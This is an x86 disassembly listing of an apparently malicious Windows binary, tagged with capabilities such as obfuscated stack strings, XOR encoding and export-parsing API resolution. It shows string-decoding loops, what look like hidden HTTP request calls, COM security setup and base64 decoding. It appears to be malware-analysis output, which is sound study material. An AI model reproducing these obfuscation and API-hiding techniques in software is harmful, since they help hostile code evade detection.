Function at 0x40fd50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x43c
mov esi, dword [esp + 0x468]
mov edi, dword [esp + 0x450]
mov dword [esp + 0x3c], 0x93659145
mov dword [esp + 0x40], 0xaf57ad26
mov dword [esp + 0x44], 0xab5ea95c
mov dword [esp + 0x48], 0xa791a545
mov dword [esp + 0x4c], 0xa394a16d
mov dword [esp + 0x50], 0xbf9ebd8c
mov dword [esp + 0x54], 0xbb55b980
mov dword [esp + 0x58], 0xb740b54d
mov dword [esp + 0x5c], 0xb345b14c
mov dword [esp + 0x60], 0x4fbd4dc3
mov dword [esp + 0x64], 0x4b9c4968
mov dword [esp + 0x68], 0x476645a8
mov dword [esp + 0x6c], 0x43724171
mov dword [esp + 0x70], 0x5f6e5d6a
mov dword [esp + 0x74], 0x5b7a5993
mov dword [esp + 0x78], 0x57af55bb
mov dword [esp + 0x7c], 0x539c51a6
mov dword [esp + 0x80], 0x6fa56da0
mov dword [esp + 0x84], 0x6be26948
mov dword [esp + 0x88], 0x67aa65aa
mov dword [esp + 0x8c], 0x63426159
mov dword [esp + 0x90], 0x7f8e7dbd
mov dword [esp + 0x94], 0x7b8e7988
mov dword [esp + 0x98], 0x77997589
mov dword [esp + 0x9c], 0x7390718d
mov dword [esp + 0xa0], 0xff70dd7
mov dword [esp + 0xa4], 0xb3d0984
mov dword [esp + 0xa8], 0x73505c9
mov dword [esp + 0xac], 0x33401cf
mov dword [esp + 0xb0], 0x1fd01d2f
mov dword [esp + 0xb4], 0x1b221938
mov dword [esp + 0xb8], 0x17ce15cf
mov dword [esp + 0xbc], 0x13c711fc
mov dword [esp + 0xc0], 0x2f1a2df8
mov dword [esp + 0xc4], 0x2bde2908
mov dword [esp + 0xc8], 0x27dd25dd
mov dword [esp + 0xcc], 0x230221dd
mov dword [esp + 0xd0], 0x3fc33de3
mov dword [esp + 0xd4], 0x3bc139db
mov dword [esp + 0xd8], 0x370f35c3
mov dword [esp + 0xdc], 0x33f13110
mov dword [esp + 0xe0], 0xcf3ccd34
mov dword [esp + 0xe4], 0xcb3fc93f
mov dword [esp + 0xe8], 0xc7f1c539
mov dword [esp + 0xec], 0xc3f3c1f1
mov dword [esp + 0xf0], 0xdfe8dd15
mov dword [esp + 0xf4], 0xdbecd9e8
mov dword [esp + 0xf8], 0xd7e0d5e4
mov dword [esp + 0xfc], 0xd3f2d1e0
mov dword [esp + 0x100], 0xef0fed3f
mov dword [esp + 0x104], 0xeb0be916
mov dword [esp + 0x108], 0xe71fe516
mov dword [esp + 0x10c], 0xe32fe1d7
mov dword [esp + 0x110], 0xff31fdcf
mov dword [esp + 0x114], 0xfbc9f9ce
mov dword [esp + 0x118], 0xf7f6f53a
mov dword [esp + 0x11c], 0
mov eax, dword [0x44f8d0]
xor ecx, ecx
nop
mov edx, ecx
add dl, 0x5c
xor dl, byte [esp + ecx + 0x3c]
add dl, 0x34
mov byte [esp + ecx + 0x3c], dl
inc ecx
cmp ecx, 0xe4
jne case.default.0x40ffdf
lea ecx, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449d38]
xor ebp, ebp
xor eax, eax
mov ecx, dword [esp + 0x464]
test ecx, ecx
setne al
xor ebx, ebx
jmp dword [eax*4 + 0x449da0]
push ebp
call fcn.0043da70
add esp, 4
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x449da8]
mov ebp, dword [0x44f8d4]
mov dword [esp + 0x3c], 0x838280fb
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x3c]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, 0xb7d420d5
and edx, 0x2a
or edx, esi
mov esi, ecx
and esi, 0x3f3841f
xor esi, edx
xor esi, 0x4bd85b35
add esi, 0x13c1949f
mov edx, esi
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov byte [esp + ecx + 0x3c], dl
inc ecx
cmp ecx, 4
jne case.default.0x410089
movzx ecx, word [esp + 0x3c]
push 0
push ecx
push edi
mov dword [esp + 0x44], eax
push eax
call ebp
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449d40]
xor ebx, ebx
xor ebp, ebp
jmp 0x4103dc
mov dword [esp], eax
mov esi, dword [0x44f8d8]
mov dword [esp + 4], 0x97169998
mov byte [esp + 8], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 4]
lea ebp, [eax + 0xa6]
mov ecx, 0x59
sub ecx, eax
xor ecx, ebp
and ecx, edx
xor ecx, ebp
add cl, 0xc2
mov byte [esp + eax + 4], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 5
jb 0x4100c0
mov ebp, dword [esp + 4]
mov dword [esp + 0x34], esi
mov dword [esp + 0x3c], 0x77a579a8
mov dword [esp + 0x40], 0x73de75db
mov dword [esp + 0x44], 0x7170
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
and edx, 0xa
xor edx, 0xea
mov ecx, eax
and ecx, 5
sub ecx, edx
xor cl, byte [esp + eax + 0x3c]
add cl, 0x92
mov byte [esp + eax + 0x3c], cl
inc eax
cmp eax, 0xc
jne 0x410120
mov ebx, dword [esp]
lea esi, [esp + 0x3c]
mov edi, dword [esp + 0x34]
jmp dword [0x449d48]
push ebp
push 0
push 0
push 0
push dword [esp + 0x464]
push esi
push ebx
call edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
push 0
push 0
push 0
push dword [esp + 0x464]
push esi
push ebx
call edi
jmp dword [0x449d50]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449d58]
xor ebx, ebx
xor ebp, ebp
jmp 0x4103d3
movzx ecx, byte [0x44fa08]
mov ebp, dword [esp + 0x458]
jmp dword [ecx*4 + 0x449d60]
mov dword [esp + 4], 0x832d8143
mov dword [esp + 8], 0x872d852b
mov dword [esp + 0xc], 0x8b2f8921
mov dword [esp + 0x10], 0x8f6e8d76
mov dword [esp + 0x14], 0x934d914f
mov dword [esp + 0x18], 0x97309537
mov dword [esp + 0x1c], 0x9b379947
mov dword [esp + 0x20], 0x9f419d2b
mov dword [esp + 0x24], 0x63db61c2
mov dword [esp + 0x28], 0x679b65d4
mov word [esp + 0x2c], 0x6968
mov dword [esp + 0x2e], 0
mov byte [esp + 0x32], 0
mov ecx, 0xe9eb5d60
nop
nop
nop
movzx edx, byte [esp + ecx + 0x1614a2a4]
xor edx, ecx
mov esi, edx
xor esi, 0xe1
and edx, 0x1e
add edx, edx
sub edx, esi
inc dl
mov byte [esp + ecx + 0x1614a2a4], dl
inc ecx
cmp ecx, 0xe9eb5d8f
jne 0x410220
movzx ecx, word [esp + 4]
test cx, cx
lea esi, [esp + 0x3c]
je 0x410271
lea edx, [esp + 6]
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x410260
mov word [esi], 0
movzx ecx, word [0x44fa0a]
test cx, cx
je 0x4102a5
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi + edx], cx
movzx ecx, word [edx + 0x44fa0c]
add edx, 2
test cx, cx
jne 0x410290
add esi, edx
mov word [esi], 0
lea ecx, [esp + 0x3c]
push 0x20000000
push 0xffffffffffffffff
push ecx
push eax
mov esi, eax
call dword [0x44f8e4]
mov eax, esi
xor ebx, ebx
mov ecx, ebp
neg ecx
mov ecx, 0
sbb ecx, ecx
push 0
mov edx, dword [esp + 0x464]
push edx
push edx
push dword [esp + 0x468]
push ecx
push ebp
push eax
mov esi, eax
call dword [0x44f8e8]
mov ecx, esi
xor edx, edx
test eax, eax
setne dl
xor ebp, ebp
jmp dword [edx*4 + 0x449d68]
push 0
push ecx
call dword [0x44f8ec]
mov ecx, esi
xor edx, edx
test eax, eax
setne dl
xor ebx, ebx
xor ebp, ebp
jmp dword [edx*4 + 0x449d70]
mov dword [esp + 0x3c], 0
xor ebx, ebx
lea edi, [esp + 0x3c]
xor ebp, ebp
nop
nop
nop
nop
nop
nop
push edi
push ecx
call dword [0x44f8f0]
test eax, eax
setne cl
mov eax, dword [esp + 0x3c]
test eax, eax
setne dl
and dl, cl
movzx ecx, dl
jmp dword [ecx*4 + 0x449d78]
add eax, ebx
inc eax
push eax
push ebp
call fcn.00440680
add esp, 8
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x449d80]
mov dword [esp + 4], 0
mov ecx, eax
add ecx, ebx
lea edx, [esp + 4]
push edx
push dword [esp + 0x40]
push ecx
push esi
mov ebp, eax
call dword [0x44f8f4]
add ebx, dword [esp + 4]
mov eax, 1
jmp dword [eax*4 + 0x449d88]
xor eax, eax
jmp dword [eax*4 + 0x449d88]
jmp dword [eax*4 + 0x449d90]
mov ecx, esi
jmp 0x410330
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x449d98]
mov byte [ebp + ebx], 0
mov ecx, esi
push ecx
call dword [0x44f8fc]
push dword [esp]
call dword [0x44f8fc]
mov esi, dword [esp + 0x468]
push dword [esp + 0x38]
call dword [0x44f8fc]
xor eax, eax
mov ecx, dword [esp + 0x464]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x449da0]
mov dword [ecx], ebp
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x449da8]
mov dword [esi], ebx
test ebp, ebp
setne al
add esp, 0x43c
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor ebx, ebx
jmp 0x410888
mov dword [esp + 0xc], eax
mov eax, dword [0x44f8d4]
mov dword [esp + 0x48], 0x21262461
mov byte [esp + 0x4c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x48]
lea esi, [ecx - 0xf489737]
and esi, edx
mov edi, esi
and edi, 0xffffffdd
mov ebx, esi
and ebx, 2
mov ebp, esi
or ebp, 0xfd
inc ebp
imul ebp, edi
or esi, 2
imul esi, ebx
sub ebp, esi
add edx, ecx
add edx, 0xf0b768c9
add edx, ebp
add dl, 0x13
mov byte [esp + ecx + 0x48], dl
mov edx, ecx
xor edx, 1
and ecx, 1
lea ecx, [edx + ecx*2]
cmp ecx, 5
jb case.default.0x410777
movzx ecx, word [esp + 0x48]
push 0
push ecx
push 0x44f904
mov esi, dword [esp + 0x18]
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449dd8]
xor ebx, ebx
jmp 0x410881
mov dword [esp + 8], eax
mov esi, dword [0x44f8d8]
mov dword [esp + 0x10], 0x13921110
mov word [esp + 0x14], 0
mov eax, 0x361c3bbc
mov ecx, 0x278f110f
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + eax - 0x361c3bac]
mov ebx, eax
and ebx, edi
add ebx, ebx
mov edx, edi
sub edx, ebx
lea ebp, [eax + edx]
not ebp
add edx, ecx
or ebp, edx
and ebp, 1
xor edx, 1
add edx, edi
add edx, ebp
sub edx, ebx
add edi, ecx
sub edi, ebx
and edi, 0xfe
sub edx, edi
add edx, ecx
mov byte [esp + eax - 0x361c3bac], dl
inc eax
inc ecx
cmp eax, 0x361c3bc2
jne 0x4107b0
mov dword [esp + 4], esi
mov edi, dword [esp + 0x10]
mov dword [esp + 0x48], 0xc9bbcbbc
mov dword [esp + 0x4c], 0xc5aac7a5
mov word [esp + 0x50], 0xc3c4
mov dword [esp + 0x52], 0
xor eax, eax
mov ecx, 4
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
and ebx, 0x10
mov ebp, edx
xor ebp, 0x18
add ebx, ebp
add ebx, 0x3b
mov ebp, ecx
and ebp, 7
and ebx, 0x78
or ebx, ebp
xor bl, byte [esp + edx + 0x48]
xor bl, 0x87
add bl, 0xe1
mov byte [esp + edx + 0x48], bl
inc edx
add eax, 2
dec ecx
cmp edx, 0xe
jne 0x410830
mov esi, dword [esp + 8]
mov ebx, dword [esp + 0x25c]
mov ebp, dword [esp + 4]
jmp dword [0x449de4]
push ebp
call dword [0x44f8fc]
mov esi, dword [esp + 0xc]
push esi
call dword [0x44f8fc]
mov eax, dword [case.0x410b7a.23]
nop
nop
nop
jmp eax
mov eax, ebx
add esp, 0x248
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [esp]
jmp dword [0x449e70]
push edx
push edx
push edx
push edx
push ecx
call dword [0x44f8e0]
movzx eax, byte [0x44fa08]
mov esi, dword [esp + 0x26c]
mov edi, dword [esp + 0x270]
jmp dword [eax*4 + 0x449e20]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x449e58]
mov bl, 1
jmp case.0x410b7a.1
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edi
push esi
mov edi, dword [esp + 0xc]
push edi
call dword [0x44f8f8]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x449e30]
mov eax, dword [case.0x410b7a.15]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [0x44f8ec]
jmp dword [0x449e38]
push 0
push edi
call esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push edi
call esi
jmp dword [0x449e40]
push esi
call dword [0x44f8fc]
push esi
call dword [0x44f8fc]
jmp dword [0x449e7c]
movzx eax, byte [0x44fa08]
mov esi, dword [esp + 0x26c]
mov edi, dword [esp + 0x270]
jmp dword [eax*4 + 0x449e20]
mov dword [esp + 0x10], 0x49db4bf1
mov dword [esp + 0x14], 0x45d347d9
mov dword [esp + 0x18], 0x41d943d3
mov dword [esp + 0x1c], 0xbddebf06
mov dword [esp + 0x20], 0xb91bbb1d
mov dword [esp + 0x24], 0xb52cb725
mov dword [esp + 0x28], 0xb121b315
mov dword [esp + 0x2c], 0xad0faf39
mov dword [esp + 0x30], 0xa92dab32
mov dword [esp + 0x34], 0xa5e5a738
mov dword [esp + 0x38], 0xa3a4
mov eax, 0x73
mov ecx, 0x8c
nop
nop
nop
movzx edx, byte [esp + eax - 0x63]
mov esi, ecx
or esi, edx
not edx
or edx, eax
and edx, esi
mov bl, 0xc0
sub bl, dl
mov byte [esp + eax - 0x63], bl
inc eax
dec ecx
cmp eax, 0x9f
jne 0x4109e0
movzx eax, word [esp + 0x10]
test ax, ax
lea edx, [esp + 0x48]
je 0x410a31
lea ecx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], ax
add edx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410a20
mov word [edx], 0
movzx eax, word [0x44fa0a]
test ax, ax
je 0x410a65
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx + ecx], ax
movzx eax, word [ecx + 0x44fa0c]
add ecx, 2
test ax, ax
jne 0x410a50
add edx, ecx
mov word [edx], 0
mov eax, dword [0x44f8e4]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x10], 0xc1e6e7e4
mov byte [esp + 0x14], 0
mov ebx, 0x29
mov ecx, 0x899b2129
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ebx - 0x19]
mov eax, ebx
and eax, esi
mov dword [esp + 4], eax
add eax, eax
mov dword [esp + 0x40], eax
mov ebp, esi
sub ebp, eax
lea edx, [ebx + ebp]
add edx, 0x899b2100
mov edi, edx
mov eax, edx
xor eax, 0xb007a5cd
or edx, 0x9981a32
and edx, eax
mov dword [esp + 0x44], ecx
lea eax, [ecx + esi]
sub eax, dword [esp + 0x40]
shr al, 1
and al, 1
mov ecx, edx
or dl, 2
mul dl
add al, al
mov edx, esi
add al, dl
not edi
and edi, 2
and ecx, 0xfd
imul ecx, edi
add cl, al
lea eax, [ebx + ebp]
lea eax, [eax*2 + 0x13364200]
and al, 0x64
sub cl, al
mov eax, dword [esp + 4]
add al, al
sub cl, al
movzx eax, cl
add eax, ebx
add al, 0x33
mov byte [esp + ebx - 0x19], al
inc ebx
mov ecx, dword [esp + 0x44]
inc ecx
cmp ebx, 0x2e
jne case.default.0x410b7a
lea eax, [esp + 0x48]
push dword [esp + 0x10]
push 0xffffffffffffffff
push eax
push dword [esp + 0xc]
call dword [esp + 0x4c]
mov esi, dword [esp + 0x26c]
mov edi, dword [esp + 0x270]
mov ebp, dword [esp + 8]
xor ebx, ebx
mov ecx, dword [esp + 0x260]
mov eax, ecx
neg eax
mov eax, 0
sbb eax, eax
push 0
push edi
push dword [esp + 0x270]
push dword [esp + 0x270]
push eax
push ecx
push dword [esp + 0x18]
call dword [0x44f8e8]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449e28]
xor edx, edx
test eax, eax
setne dl
xor ebx, ebx
mov ebp, esi
jmp dword [edx*4 + 0x449e00]
mov ecx, eax
xor eax, eax
mov edx, dword [esp + 0x274]
test edx, edx
setg al
mov dword [esp], ecx
jmp dword [eax*4 + 0x449e18]
lea eax, [esp + 0x48]
push edi
push 0
push 0
push 0
push ebx
push eax
push esi
call ebp
push edi
push 0
push 0
push 0
push ebx
lea eax, [esp + 0x5c]
push eax
push esi
call ebp
jmp dword [0x449dec]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
shr eax, 0x1f
jmp dword [eax*4 + 0x44a600]
push 0x44f8a4
call fcn.0043b270
add esp, 4
mov ecx, dword [str.7567fff5468f5b682780aea4c2eb6266]
mov dword [esp + 0x8b8], 0xc9895d96
mov byte [esp + 0x8bc], 0
mov eax, 0x4d805a53
movzx edx, byte [esp + eax - 0x4d80519b]
lea edi, [eax - 0x4d805a00]
and edi, edx
mov ebx, edi
and ebx, 0x5d
mov esi, edi
or esi, 0xfd
inc esi
imul esi, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
sub esi, edi
mov edi, eax
and edi, edx
xor edx, eax
lea edx, [edx + edi*2]
add edx, esi
add dl, 0x61
mov byte [esp + eax - 0x4d80519b], dl
inc eax
cmp eax, 0x4d805a58
jne 0x410c50
mov edx, dword [str.hRjzG3__BEX]
mov dword [esp + 0xb8], 0xeebaaaaf
mov dword [esp + 0xbc], 0xbeb7b4a2
mov dword [esp + 0xc0], 0xb6b7b0a2
mov dword [esp + 0xc4], 0xbeafaebf
mov dword [esp + 0xc8], 0x97f8b8b5
mov dword [esp + 0xcc], 0xd1dd9187
mov dword [esp + 0xd0], 0x85c0d7ca
mov dword [esp + 0xd4], 0xedd58f83
mov word [esp + 0xd8], 0
mov byte [esp + 0xda], 0
xor eax, eax
nop
nop
nop
movzx edi, byte [esp + eax + 0xb8]
mov esi, eax
xor esi, 0x7f5679b2
mov ebx, eax
or ebx, 0x80a9864d
and esi, ebx
add esi, ebx
xor esi, edi
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
add bl, 0x7e
mov byte [esp + eax + 0xb8], bl
inc eax
cmp eax, 0x23
jne 0x410d10
movzx ebx, byte [esp + 0xb8]
lea eax, [esp + 0x9b8]
test bl, bl
je 0x410d7b
lea esi, [esp + 0xb9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x410d70
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x410d9b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x410d90
mov byte [eax], 0
movzx edx, byte [esp + 0x8b8]
test dl, dl
je 0x410dcb
lea esi, [esp + 0x8b9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x410dc0
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x410deb
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x410de0
mov byte [eax], 0
lea ecx, [esp + 0x9b8]
sub eax, ecx
mov dword [esp + 0xb8], 0x33c531f3
mov dword [esp + 0xbc], 0x3fc23dca
mov dword [esp + 0xc0], 0x3bcc39d5
mov dword [esp + 0xc4], 0xc7f3c538
mov dword [esp + 0xc8], 0xc33bc11c
mov dword [esp + 0xcc], 0xcf23cd3c
mov dword [esp + 0xd0], 0xcbeac9f2
mov dword [esp + 0xd4], 0xd726d535
mov dword [esp + 0xd8], 0xd326d120
mov dword [esp + 0xdc], 0xdf3ddd35
mov dword [esp + 0xe0], 0xdb26d939
mov dword [esp + 0xe4], 0xe711e50d
mov dword [esp + 0xe8], 0xe3d5e116
mov dword [esp + 0xec], 0xefdbed14
mov dword [esp + 0xf0], 0xeb15e917
mov dword [esp + 0xf4], 0xf7c3f50b
mov dword [esp + 0xf8], 0xf305f11e
mov dword [esp + 0xfc], 0xff0bfd0e
mov dword [esp + 0x100], 0xfb07f9cd
mov dword [esp + 0x104], 0x87728576
mov dword [esp + 0x108], 0x8374816d
mov dword [esp + 0x10c], 0x8f798d6f
mov dword [esp + 0x110], 0x8b678964
mov dword [esp + 0x114], 0x97839578
mov dword [esp + 0x118], 0x9392919a
mov dword [esp + 0x11c], 0
mov ecx, 0x37cb8a10
mov esi, 0x883475ef
nop
movzx edi, byte [esp + ecx - 0x37cb8958]
mov ebx, esi
and ebx, 0x8830641c
mov edx, ecx
and edx, 0x270880e3
sub edx, ebx
xor edx, edi
add edx, 0xe5c7743b
mov edi, edx
and edi, 1
xor edx, 1
lea edx, [edx + edi*2]
mov byte [esp + ecx - 0x37cb8958], dl
inc ecx
dec esi
cmp ecx, 0x37cb8a78
jne 0x410f20
mov dword [esp + 0x8b8], 0x9f7f99ab
mov dword [esp + 0x8bc], 0xa34b9d6c
mov word [esp + 0x8c0], 0xa1a0
mov dword [esp + 0x8c2], 0
mov edx, 0x1a
mov esi, 0x25
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, esi
and ecx, 0x23
mov ebx, edx
and ebx, 0x1c
or ebx, ecx
xor bl, byte [esp + edx + 0x89e]
xor bl, 0x63
add bl, 0x3e
mov byte [esp + edx + 0x89e], bl
inc edx
dec esi
cmp edx, 0x28
jne case.default.0x410ffd
lea ecx, [esp + 0xb4]
lea edx, [esp + 0x1c]
lea esi, [esp + 0xb8]
lea edi, [esp + 0x8b8]
push ecx
push edx
push eax
lea eax, [esp + 0x9c4]
push eax
push esi
push edi
push 0x44f904
call int.0040fd50
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x44a618]
xor esi, esi
jmp 0x411086
jmp dword [0x44a5f8]
jmp case.0x410ffd.6
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp + 0xb4]
mov edx, ecx
not edx
mov edi, dword [esp + 0x1c]
lea eax, [ecx + ecx*2]
shr eax, 2
mov esi, ecx
and esi, 0xfffffffe
and edx, 1
sub esi, edx
movzx edx, byte [edi + esi]
cmp edx, 0x3d
je 0x411054
cmp edx, 0x2e
jne 0x411055
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x411064
cmp ecx, 0x2e
jne 0x411065
dec eax
push eax
call fcn.0040c8d0
add esp, 4
mov esi, eax
push eax
push edi
call fcn.0043bd00
add esp, 8
push dword [esp + 0x1c]
call fcn.0043da70
add esp, 4
mov eax, dword [case.0x410ffd.4]
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44a630]
push esi
call fcn.00403da0
add esp, 4
mov edi, eax
jmp dword [0x44a638]
push esi
call fcn.0040c8e0
add esp, 4
mov dword [esp], edi
push edi
call fcn.00404710
add esp, 4
mov dword [esp + 0xb0], eax
mov word [esp + 0xb8], 0xb4a2
mov byte [esp + 0xba], 0x1e
mov dword [esp + 0xbb], 0
mov eax, 0x79d824ba
mov ecx, 0x627db45
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x79d82402]
mov esi, ecx
and esi, 0x405c06d
mov edx, eax
and edx, 0x68d02492
or edx, esi
xor edx, 0xeaf23f92
or edx, ecx
lea esi, [edx + edx]
not esi
add esi, edx
mov edi, edx
and edi, 0x86919fc3
and esi, 0x7966603c
or esi, edi
lea edi, [ecx - 0x627db00]
or edi, ebx
xor esi, ebx
or edx, ebx
xor esi, 0x3c
not edx
or edx, esi
and edx, edi
mov bl, 0x5d
sub bl, dl
mov byte [esp + eax - 0x79d82402], bl
inc eax
dec ecx
cmp eax, 0x79d824c1
jne 0x411100
lea edi, [esp + 0xb8]
push edi
mov ebx, dword [esp + 0xb4]
push ebx
call fcn.00404790
add esp, 8
mov ecx, dword [case.0x410ffd.11]
jmp ecx
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x44a650]
jmp dword [0x44a65c]
movzx eax, al
jmp dword [eax*4 + 0x44a668]
mov dword [esp + 0xb8], 0x228581
xor eax, eax
mov ecx, 0x37
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x21
mov edx, eax
and edx, 2
or edx, esi
xor dl, byte [esp + eax + 0xb8]
xor dl, 0xe9
add dl, 0x18
mov byte [esp + eax + 0xb8], dl
inc eax
dec ecx
cmp eax, 4
jne 0x4111c0
push edi
push ebx
call fcn.00404790
add esp, 8
mov dword [esp + 0x14], eax
mov dword [esp + 0xb8], 0x4eacdf
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x12
xor cl, byte [esp + eax + 0xb8]
add cl, 0xa6
mov byte [esp + eax + 0xb8], cl
inc eax
cmp eax, 4
jne 0x411210
push edi
push ebx
call fcn.00404790
add esp, 8
mov dword [esp + 0xb8], 0x51a7ada8
mov dword [esp + 0xbc], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0xd
xor dl, byte [esp + ecx + 0xb8]
add dl, 0xbf
mov byte [esp + ecx + 0xb8], dl
inc ecx
cmp ecx, 8
jne case.default.0x411380
xor ecx, ecx
test eax, eax
setg cl
mov dword [esp + 0xac], ecx
push edi
push ebx
call fcn.00404790
add esp, 8
mov dword [esp + 0x10], eax
push ebx
call fcn.00412030
add esp, 4
push dword [esp]
call fcn.00404980
add esp, 4
lea esi, [esp + 0xc40]
mov ecx, esi
push 1
call fcn.0040d1d0
push esi
call fcn.00427340
add esp, 4
mov ecx, esi
call fcn.0040dae0
lea esi, [esp + 0xbd8]
mov ecx, esi
push 3
call fcn.0040d1d0
push esi
call fcn.00427a70
add esp, 4
mov ecx, esi
call fcn.0040dae0
lea esi, [esp + 0xb70]
mov ecx, esi
push 1
call fcn.0040d1d0
push esi
call fcn.00427c10
add esp, 4
mov ecx, esi
call fcn.0040dae0
lea esi, [esp + 0xb08]
mov ecx, esi
push 1
call fcn.0040d1d0
push esi
call fcn.004295e0
add esp, 4
push esi
call fcn.00429f00
add esp, 4
push esi
call fcn.0042a1d0
add esp, 4
push esi
call fcn.0042cb80
add esp, 4
mov ecx, esi
call fcn.0040dae0
lea esi, [esp + 0xaa0]
mov ecx, esi
push 1
call fcn.0040d1d0
push esi
call fcn.0042bba0
add esp, 4
mov ecx, esi
call fcn.0040dae0
lea esi, [esp + 0xa38]
mov ecx, esi
push 1
call fcn.0040d1d0
push esi
call fcn.0042e5f0
add esp, 4
push esi
call fcn.00435720
add esp, 4
mov eax, dword [esp + 0xac]
jmp dword [eax*4 + 0x44a670]
push esi
call fcn.004358e0
add esp, 4
lea ecx, [esp + 0xa38]
call fcn.0040dae0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [esp + 0x20], 0xaea393d6
mov dword [esp + 0x24], 0x26e494
lea eax, [esp + 0x20]
mov ecx, 0xb4
nop
nop
nop
nop
nop
mov dword [esp], eax
mov eax, dword [esp]
movzx eax, byte [eax]
lea esi, [ecx - 0x4ff13600]
or esi, eax
not esi
and eax, ecx
or eax, esi
mov esi, eax
not esi
or esi, 0x7049f588
add esi, eax
inc esi
mov edi, esi
and edi, 2
mov ebx, esi
or esi, 2
imul esi, edi
xor edi, 2
and ebx, 0xfd
imul ebx, edi
lea edi, [eax + eax]
and edi, 0xe093eb10
mov edx, eax
sub edx, edi
add edx, esi
add ebx, edx
add ebx, 0xffffff88
and eax, 1
or ebx, 1
add ebx, eax
mov eax, dword [esp]
mov byte [eax], bl
inc eax
dec ecx
cmp ecx, 0xac
jne 0x4113c0
mov eax, dword [str.7567fff5468f5b682780aea4c2eb6266]
mov dword [esp + 0x9c], 0xc9095d16
mov byte [esp + 0xa0], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xb3
xor dl, byte [esp + ecx + 0x9c]
add dl, 0x81
mov byte [esp + ecx + 0x9c], dl
inc ecx
cmp ecx, 5
jne 0x411450
mov ecx, dword [str.hRjzG3__BEX]
